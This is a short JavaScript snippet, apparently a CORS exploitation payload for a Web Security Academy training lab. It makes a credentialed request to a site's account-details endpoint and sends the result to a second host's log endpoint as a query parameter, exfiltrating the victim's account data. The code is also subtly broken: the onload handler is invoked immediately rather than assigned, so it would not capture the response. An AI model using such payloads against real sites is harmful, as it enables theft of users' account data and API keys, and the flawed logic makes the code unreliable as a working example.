var req = new XMLHttpRequest();
req.onload = reqListener(this.responseText);
req.open('get','https://ac411fb51eaf24b680352fed006800bc.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener(a) {
var req = new XMLHttpRequest();
req.open('get','https://ac0a1feb1e7e2477808c2f92012200db.web-security-academy.net/log?key='+a,true);
req.withCredentials = true;
req.send();
};